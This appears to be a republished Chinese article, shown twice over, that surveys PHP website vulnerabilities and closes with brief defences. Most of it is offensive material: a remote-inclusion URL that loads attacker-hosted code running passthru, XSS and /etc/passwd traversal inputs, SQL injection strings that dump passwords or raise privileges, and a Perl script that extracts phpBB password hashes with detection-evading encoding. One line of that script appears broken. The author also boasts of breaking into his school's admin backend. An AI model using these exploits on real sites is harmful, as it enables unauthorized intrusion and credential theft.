PHP網站漏洞的相關總結

2008-12-22 08:10:38  編輯來源:互聯網  简体版  手機版  評論  字體: 小|中|大

 

 

　　從現在的網絡安全來看,大家最關注和接觸最多的WEB頁面漏洞應該是ASP了,在這方面,小竹是專家,我沒發言權.然而在PHP方面來看,也同樣存在很嚴重的安全問題,但是這方面的文章卻不多.在這裏,就跟大家來稍微的討論一下PHP頁面的相關漏洞吧.

　　我對目前常見的PHP漏洞做了一下總結,大致分爲以下幾種:包含文件漏洞,腳本命令執行漏洞,文件泄露漏洞,SQL注入漏洞等幾種.當然,至于COOKIE 欺騙等一部分通用的技術就不在這裏討論了,這些資料網上也很多.那麽,我們就一個一個來分析一下怎樣利用這些漏洞吧!

　　首先,我們來討論包含文件漏洞.這個漏洞應該說是PHP獨有的吧.這是由于不充分處理外部提供的惡意數據,從而導致遠程攻擊者可以利用這些漏洞以WEB進程權限在系統上執行任意命令.我們來看一個例子:假設在a.php中有這樣一句代碼:

　　<?php

　　include($include.\"/xxx.php\\");

　　?>

　　在這段代碼中,$include一般是一個已經設置好的路徑,但是我們可以通過自己構造一個路徑來達到攻擊的目的.比方說我們提交:a.php? include=http://web/b.php,這個web是我們用做攻擊的空間,當然,b.php也就是我們用來攻擊的代碼了.我們可以在 b.php中寫入類似于:passthru(\"/bin/ls /etc\");的代碼.這樣,就可以執行一些有目的的攻擊了.(注:web服務器應該不能執行php代碼,不然就出問題了.相關詳情可以去看< <如何對PHP程序中的常見漏洞進行攻擊>>).在這個漏洞方面,出狀況的很多,比方說:PayPal Store Front,

　　HotNews,Mambo Open Source,PhpDig,YABB SE,phpBB,InvisionBoard,SOLMETRA SPAW Editor,Les Visiteurs,PhpGedView,X-Cart等等一些.

　　接著,我們再來看一下腳本命令執行漏洞.這是由于對用戶提交的URI參數缺少充分過濾，提交包含惡意HTML代碼的數據，可導致觸發跨站腳本攻擊，可能獲得目標用戶的敏感信息。我們也舉個例子:在PHP Transparent的PHP PHP 4.3.1以下版本中的index.php頁面對PHPSESSID缺少充分的過濾,我們可以通過這樣的代碼來達到攻擊的目的:

http://web/index.php?PHPSESSID="><script>...</script>在script裏面我們可以構造函數來獲得用戶的一些敏感信息.在這個漏洞方面相對要少一點,除了PHP Transparent之外還有:PHP-Nuke,phpBB,PHP Classifieds,PHPix,Ultimate PHP Board等等.

　　再然後,我們就來看看文件泄露漏洞了.這種漏洞是由于對用戶提交參數缺少充分過濾，遠程攻擊者可以利用它進行目錄遍曆攻擊以及獲取一些敏感信息。我們拿最近發現的phpMyAdmin來做例子.在phpMyAdmin中,export.php頁面沒有對用戶提交的'what'參數進行充分過濾,遠程攻擊者提交包含多個'../'字符的數據，便可繞過WEB ROOT限制，以WEB權限查看系統上的任意文件信息。比方說打入這樣一個地址:export.php?what=../../../../../.. /etc/passwd%00 就可以達到文件泄露的目的了.在這方面相對多一點,有:myPHPNuke,McNews等等.

　　最後,我們又要回到最興奮的地方了.想想我們平時在asp頁面中用SQL注入有多麽爽,以前還要手動注入,一直到小竹悟出\"SQL注入密笈\"(嘿嘿),然後再開做出NBSI以後,我們NB聯盟真是拉出一片天空.曾先後幫CSDN,大富翁論壇,中國頻道等大型網站找出漏洞.(這些廢話不多說了,有點跑題了...).還是言規正傳,其實在asp中SQL的注入和php中的SQL注入大致相同,只不過稍微注意一下用的幾個函數就好了.將asc改成 ASCII,len改成LENGTH,其他函數基本不變了.其實大家看到PHP的SQL注入,是不是都會想到PHP-NUKE和PHPBB呢?不錯,俗話說樹大招分,像動網這樣的論壇在asp界就該是漏洞這王了,這並不是說它的論壇安全太差,而是名氣太響,別人用的多了,研究的人也就多了,發現的安全漏洞也就越多了.PHPBB也是一樣的,現在很大一部分人用PHP做論壇的話,一般都是選擇了PHPBB.它的漏洞也是一直在出,從最早phpBB.com phpBB 1.4.0版本被人發現漏洞,到現在最近的phpBB 2.0.6版本的groupcp.php,以及之前發現的search.php,profile.php,viewtopic.php等等加起來,大概也有十來個樣子吧.這也一直導致,一部分人在研究php漏洞的時候都會拿它做實驗品,所謂百練成精嘛,相信以後的PHPBB會越來越好.

　　好了,我們還是來分析一下漏洞産生的原因吧.拿viewtopic.php頁面來說,由于在調用viewtopic.php時，直接從GET請求中獲得 \"topic_id\"並傳遞給SQL查詢命令,而並沒有進行一些過濾的處理,攻擊者可以提交特殊的SQL字符串用于獲得MD5密碼，獲得此密碼信息可以用于自動登錄或者進行暴力破解。(我想應該不會有人想去暴力破解吧,除非有特別重要的原因).先看一下相關源代碼:

　　# if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )

　　# {

　　# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);

　　# }

　　# else if ( isset($HTTP_GET_VARS['topic']) )

　　# {

　　# $topic_id = intval($HTTP_GET_VARS['topic']);

　　# }

　　從上面我們可以看出,如果提交的view=newest並且sid設置了值的話,執行的查詢代碼像下面的這個樣子(如果你還沒看過PHPBB源代碼的話,建議你看了再對著這裏來看,受影響系統爲:phpBB 2.0.5和phpBB 2.0.4).

　　# $sql = \"select p.post_id

　　# FROM \" . POSTS_TABLE . \" p, \" . SESSIONS_TABLE . \" s, \" . USERS_TABLE . \" u

　　# where s.session_id = '$session_id'

　　# AND u.user_id = s.session_user_id

　　# AND p.topic_id = $topic_id

　　# AND p.post_time >= u.user_lastvisit

　　# ORDER BY p.post_time ASC

　　# LIMIT 1\";

　　Rick提供了下面的這斷測試代碼:

　　use IO::Socket;

　　$remote = shift || 'localhost';

　　$view_topic = shift || '/phpBB2/viewtopic.php';

　　$uid = shift || 2;

　　$port = 80;

　　$dbtype = 'mysql4'; # mysql4 or pgsql

　　print \"Trying to get password hash for uid $uid server $remote dbtype: $dbtype\n\";

　　$p = \"\";

　　for($index=1; $index<=32; $index++) {

　　$socket = IO::Socket::INET->new(PeerAddr => $remote,

　　PeerPort => $port,

　　Proto => \"tcp\",

　　Type => SOCK_STREAM)

　　or die \"Couldnt connect to $remote:$port :$@\n\";

　　$str = \"GET $view_topic\" . \"?sid=1&topic_id=-1\" . random_encode(make_dbsql()) . \"&view=newest\" . \" HTTP/1.0\n\n\";

　　print $socket $str;

　　print $socket \"Cookie: phpBB2mysql_sid=1\n\"; # replace this for pgsql or remove it

　　print $socket \"Host: $remote\n\n\";

　　while ($answer = <$socket>) {

　　if ($answer =~ /location:.*\x23(\d+)/) # Matches the location: viewtopic.php?p=<num>#<num> {

　　$p .= chr ();

　　}

　　}

　　close($socket);

　　}

　　print \"\nMD5 Hash for uid $uid is $p\n\";

　　# random encode str. helps avoid detection

　　sub random_encode {

　　$str = shift;

　　$ret = \"\";

　　for($i=0; $i<length($str); $i++) {

　　$c = substr($str,$i,1);

　　$j = rand length($str) * 1000;

　　if (int($j) % 2 || $c eq ' ') {

　　$ret .= \"%\" . sprintf(\"%x\",ord($c));

　　} else {

　　$ret .= $c;

　　}

　　}

　　return $ret;

　　}

　　sub make_dbsql {

　　if ($dbtype eq 'mysql4') {

　　return \" union select ord(substring(user_password,\" . $index . \",1)) from phpbb_users where user_id=$uid/*\" ;

　　} elsif ($dbtype eq 'pgsql') {

　　return \"; select ascii(substring(user_password from $index for 1)) as post_id from phpbb_posts p, phpbb_users u where u.user_id=$uid or false\";

　　} else {

　　return \"\";

　　}

　　}

　　這斷代碼,我就不多做解釋了.作用是獲得HASH值.

　　看到這裏,大家可能有點疑問,爲什麽我前面講的那些改的函數怎麽沒有用到,我講出來不怕大家笑話:其實網上很多站點有些頁面的查詢語句看起來會是這樣:

　　display.php?sqlsave=select+*+from+aaa+where+xx=yy+order+by+bbb+desc

　　不要笑,這是真的,我還靠這個進過幾個大型網站.至于哪一些,不好講出來,不過我們學校的網站,我就是靠這個進後台的(希望學校網絡中心的看不到這篇文章,^_^).把前面那函數用上吧.不然你只有改人家的密碼了哦!!!

　　差點忘了一點,在SQL注入的時候,PHP與ASP有所不同,mysql對sql語句的運用沒有mssql靈活,因此,很多在mssql上可以用的查詢語句在mysql數據庫中都不能奏效了. 一般我們常見的注入語句像這樣:aaa.php?id=a' into outfile 'pass.txt或是aaa.php?id=a' into outfile 'pass.txt' /*再進一步可以改成:aaa.php?id=a' or 1=1 union select id,name,password form users into outfile 'c:/a.txt 中

　　這樣可以將數據庫數據導出爲文件,然後可以查看.

　　或是這樣:mode=',user_level='4

　　這個語句一般用在修改資料時,假設頁面存在漏洞的話,就可以達到提升權限的做用.

　　其它的如' OR 1=1 -- 或者:1' or 1='1則跟asp差不多.這裏不多講了.在php裏面,SQL注入看來還是漏洞之首啊,有太多的頁面存在這個問題了.

　　其實大家可以看出來,上面那些分類歸根結底只有一個原因:提交參數沒過濾或是過濾不夠嚴謹.黑客防線向來有攻有守.這裏,就大致講一下防範的方法吧.

　　首先,我個人認爲最重要的一點是將magic_quotes_gpc高爲ON,它的作用是將單引號,雙引號,反斜線,和空字符轉換爲含有反斜線的字符,如 select * from admin where username='$username' and password='$password'語句,攻擊者想用1' or 1='1跳過驗證,但是,那些字符串將被轉換成這樣:select * from admin where username='a' and password='1\' or 1=\'1'從而達到阻止注入的目的,事實也就是自動進行了addslashes()操作.再不行的話,自己定義函數處理吧.現在看來,那些搞PHP注入的人也比較郁悶,因爲myslq4以下版本不支持子語句,而新版本的mysql又會將magic_quotes_gpc選項默認爲開.

　　解決包含文件漏洞用的方法就是:要求程序員包含文件裏的參數盡量不要使用變量，如果使用變量，就一定要嚴格檢查要包含的文件名，絕對不能由用戶任意指定,建議設global_variables爲off。如前面文件打開中限制PHP操作路徑是一個必要的選項。另外，如非特殊需要，一定要關閉PHP的遠程文件打開功能。修改php.ini文件：allow_url_fopen = Off(注:參見<<PHP安全問題：遠程溢出、DoS、safe_mode繞過漏洞>>).

 

 

 

 

 

 

 

 

 

 

 

 

從現在的網絡安全來看,大家最關注和接觸最多的WEB頁面漏洞應該是ASP了,在這方面,小竹是專家,我沒發言權.然而在PHP方面來看,也同樣存在很嚴重的安全問題,但是這方面的文章卻不多.在這裏,就跟大家來稍微的討論一下PHP頁面的相關漏洞吧. 我對目前常見的PHP漏洞做了一下總結,大致分爲以下幾種:包含文件漏洞,腳本命令執行漏洞,文件泄露漏洞,SQL注入漏洞等幾種.當然,至于COOKIE 欺騙等一部分通用的技術就不在這裏討論了,這些資料網上也很多.那麽,我們就一個一個來分析一下怎樣利用這些漏洞吧! 首先,我們來討論包含文件漏洞.這個漏洞應該說是PHP獨有的吧.這是由于不充分處理外部提供的惡意數據,從而導致遠程攻擊者可以利用這些漏洞以WEB進程權限在系統上執行任意命令.我們來看一個例子:假設在a.php中有這樣一句代碼: <?php include($include.\"/xxx.php\\"); ?> 在這段代碼中,$include一般是一個已經設置好的路徑,但是我們可以通過自己構造一個路徑來達到攻擊的目的.比方說我們提交:a.php? include=http://web/b.php,這個web是我們用做攻擊的空間,當然,b.php也就是我們用來攻擊的代碼了.我們可以在 b.php中寫入類似于:passthru(\"/bin/ls /etc\");的代碼.這樣,就可以執行一些有目的的攻擊了.(注:web服務器應該不能執行php代碼,不然就出問題了.相關詳情可以去看< <如何對PHP程序中的常見漏洞進行攻擊>>).在這個漏洞方面,出狀況的很多,比方說:PayPal Store Front, HotNews,Mambo Open Source,PhpDig,YABB SE,phpBB,InvisionBoard,SOLMETRA SPAW Editor,Les Visiteurs,PhpGedView,X-Cart等等一些. 接著,我們再來看一下腳本命令執行漏洞.這是由于對用戶提交的URI參數缺少充分過濾，提交包含惡意HTML代碼的數據，可導致觸發跨站腳本攻擊，可能獲得目標用戶的敏感信息。我們也舉個例子:在PHP Transparent的PHP PHP 4.3.1以下版本中的index.php頁面對PHPSESSID缺少充分的過濾,我們可以通過這樣的代碼來達到攻擊的目的: [url=http://web/index.php?PHPSESSID=\]http://web/index.php?PHPSESSID=\"><script>...</script[/url]>在script裏面我們可以構造函數來獲得用戶的一些敏感信息.在這個漏洞方面相對要少一點,除了PHP Transparent之外還有:PHP-Nuke,phpBB,PHP Classifieds,PHPix,Ultimate PHP Board等等. 再然後,我們就來看看文件泄露漏洞了.這種漏洞是由于對用戶提交參數缺少充分過濾，遠程攻擊者可以利用它進行目錄遍曆攻擊以及獲取一些敏感信息。我們拿最近發現的phpMyAdmin來做例子.在phpMyAdmin中,export.php頁面沒有對用戶提交的'what'參數進行充分過濾,遠程攻擊者提交包含多個'../'字符的數據，便可繞過WEB ROOT限制，以WEB權限查看系統上的任意文件信息。比方說打入這樣一個地址:export.php?what=../../../../../.. /etc/passwd%00 就可以達到文件泄露的目的了.在這方面相對多一點,有:myPHPNuke,McNews等等. 最後,我們又要回到最興奮的地方了.想想我們平時在asp頁面中用SQL注入有多麽爽,以前還要手動注入,一直到小竹悟出\"SQL注入密笈\"(嘿嘿),然後再開做出NBSI以後,我們NB聯盟真是拉出一片天空.曾先後幫CSDN,大富翁論壇,中國頻道等大型網站找出漏洞.(這些廢話不多說了,有點跑題了...).還是言規正傳,其實在asp中SQL的注入和php中的SQL注入大致相同,只不過稍微注意一下用的幾個函數就好了.將asc改成 ASCII,len改成LENGTH,其他函數基本不變了.其實大家看到PHP的SQL注入,是不是都會想到PHP-NUKE和PHPBB呢?不錯,俗話說樹大招分,像動網這樣的論壇在asp界就該是漏洞這王了,這並不是說它的論壇安全太差,而是名氣太響,別人用的多了,研究的人也就多了,發現的安全漏洞也就越多了.PHPBB也是一樣的,現在很大一部分人用PHP做論壇的話,一般都是選擇了PHPBB.它的漏洞也是一直在出,從最早phpBB.com phpBB 1.4.0版本被人發現漏洞,到現在最近的phpBB 2.0.6版本的groupcp.php,以及之前發現的search.php,profile.php,viewtopic.php等等加起來,大概也有十來個樣子吧.這也一直導致,一部分人在研究php漏洞的時候都會拿它做實驗品,所謂百練成精嘛,相信以後的PHPBB會越來越好. 好了,我們還是來分析一下漏洞産生的原因吧.拿viewtopic.php頁面來說,由于在調用viewtopic.php時，直接從GET請求中獲得 \"topic_id\"並傳遞給SQL查詢命令,而並沒有進行一些過濾的處理,攻擊者可以提交特殊的SQL字符串用于獲得MD5密碼，獲得此密碼信息可以用于自動登錄或者進行暴力破解。(我想應該不會有人想去暴力破解吧,除非有特別重要的原因).先看一下相關源代碼: # if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) ) # { # $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]); # } # else if ( isset($HTTP_GET_VARS['topic']) ) # { # $topic_id = intval($HTTP_GET_VARS['topic']); # } 從上面我們可以看出,如果提交的view=newest並且sid設置了值的話,執行的查詢代碼像下面的這個樣子(如果你還沒看過PHPBB源代碼的話,建議你看了再對著這裏來看,受影響系統爲:phpBB 2.0.5和phpBB 2.0.4). # $sql = \"select p.post_id # FROM \" . POSTS_TABLE . \" p, \" . SESSIONS_TABLE . \" s, \" . USERS_TABLE . \" u # where s.session_id = '$session_id' # AND u.user_id = s.session_user_id # AND p.topic_id = $topic_id # AND p.post_time >= u.user_lastvisit # ORDER BY p.post_time ASC # LIMIT 1\"; Rick提供了下面的這斷測試代碼: use IO::Socket; $remote = shift || 'localhost'; $view_topic = shift || '/phpBB2/viewtopic.php'; $uid = shift || 2; $port = 80; $dbtype = 'mysql4'; # mysql4 or pgsql print \"Trying to get password hash for uid $uid server $remote dbtype: $dbtype\n\"; $p = \"\"; for($index=1; $index<=32; $index++) { $socket = IO::Socket::INET->new(PeerAddr => $remote, PeerPort => $port, Proto => \"tcp\", Type => SOCK_STREAM) or die \"Couldnt connect to $remote:$port :$@\n\"; $str = \"GET $view_topic\" . \"?sid=1&topic_id=-1\" . random_encode(make_dbsql()) . \"&view=newest\" . \" HTTP/1.0\n\n\"; print $socket $str; print $socket \"Cookie: phpBB2mysql_sid=1\n\"; # replace this for pgsql or remove it print $socket \"Host: $remote\n\n\"; while ($answer = <$socket>) { if ($answer =~ /location:.*\x23(\d+)/) # Matches the location: viewtopic.php?p=<num>#<num> { $p .= chr (); } } close($socket); } print \"\nMD5 Hash for uid $uid is $p\n\"; # random encode str. helps avoid detection sub random_encode { $str = shift; $ret = \"\"; for($i=0; $i<length($str); $i++) { $c = substr($str,$i,1); $j = rand length($str) * 1000; if (int($j) % 2 || $c eq ' ') { $ret .= \"%\" . sprintf(\"%x\",ord($c)); } else { $ret .= $c; } } return $ret; } sub make_dbsql { if ($dbtype eq 'mysql4') { return \" union select ord(substring(user_password,\" . $index . \",1)) from phpbb_users where user_id=$uid/*\" ; } elsif ($dbtype eq 'pgsql') { return \"; select ascii(substring(user_password from $index for 1)) as post_id from phpbb_posts p, phpbb_users u where u.user_id=$uid or false\"; } else { return \"\"; } } 這斷代碼,我就不多做解釋了.作用是獲得HASH值. 看到這裏,大家可能有點疑問,爲什麽我前面講的那些改的函數怎麽沒有用到,我講出來不怕大家笑話:其實網上很多站點有些頁面的查詢語句看起來會是這樣: display.php?sqlsave=select+*+from+aaa+where+xx=yy+order+by+bbb+desc 不要笑,這是真的,我還靠這個進過幾個大型網站.至于哪一些,不好講出來,不過我們學校的網站,我就是靠這個進後台的(希望學校網絡中心的看不到這篇文章,^_^).把前面那函數用上吧.不然你只有改人家的密碼了哦!!! 差點忘了一點,在SQL注入的時候,PHP與ASP有所不同,mysql對sql語句的運用沒有mssql靈活,因此,很多在mssql上可以用的查詢語句在mysql數據庫中都不能奏效了. 一般我們常見的注入語句像這樣:aaa.php?id=a' into outfile 'pass.txt或是aaa.php?id=a' into outfile 'pass.txt' /*再進一步可以改成:aaa.php?id=a' or 1=1 union select id,name,password form users into outfile 'c:/a.txt 中 這樣可以將數據庫數據導出爲文件,然後可以查看. 或是這樣:mode=',user_level='4 這個語句一般用在修改資料時,假設頁面存在漏洞的話,就可以達到提升權限的做用. 其它的如' OR 1=1 -- 或者:1' or 1='1則跟asp差不多.這裏不多講了.在php裏面,SQL注入看來還是漏洞之首啊,有太多的頁面存在這個問題了. 其實大家可以看出來,上面那些分類歸根結底只有一個原因:提交參數沒過濾或是過濾不夠嚴謹.黑客防線向來有攻有守.這裏,就大致講一下防範的方法吧. 首先,我個人認爲最重要的一點是將magic_quotes_gpc高爲ON,它的作用是將單引號,雙引號,反斜線,和空字符轉換爲含有反斜線的字符,如 select * from admin where username='$username' and password='$password'語句,攻擊者想用1' or 1='1跳過驗證,但是,那些字符串將被轉換成這樣:select * from admin where username='a' and password='1\' or 1=\'1'從而達到阻止注入的目的,事實也就是自動進行了addslashes()操作.再不行的話,自己定義函數處理吧.現在看來,那些搞PHP注入的人也比較郁悶,因爲myslq4以下版本不支持子語句,而新版本的mysql又會將magic_quotes_gpc選項默認爲開. 解決包含文件漏洞用的方法就是:要求程序員包含文件裏的參數盡量不要使用變量，如果使用變量，就一定要嚴格檢查要包含的文件名，絕對不能由用戶任意指定,建議設global_variables爲off。如前面文件打開中限制PHP操作路徑是一個必要的選項。另外，如非特殊需要，一定要關閉PHP的遠程文件打開功能。修改php.ini文件：allow_url_fopen = Off(注:參見<<PHP安全問題：遠程溢出、DoS、safe_mode繞過漏洞>>).

 

 

 

　　免責聲明：本文僅代表作者個人觀點，與王朝網路無關。王朝網路登載此文出於傳遞更多信息之目的，並不意味著贊同其觀點或證實其描述，其原創性以及文中陳述文字和內容未經本站證實，對本文以及其中全部或者部分內容、文字的真實性、完整性、及時性本站不作任何保證或承諾，請讀者僅作參考，並請自行核實相關內容。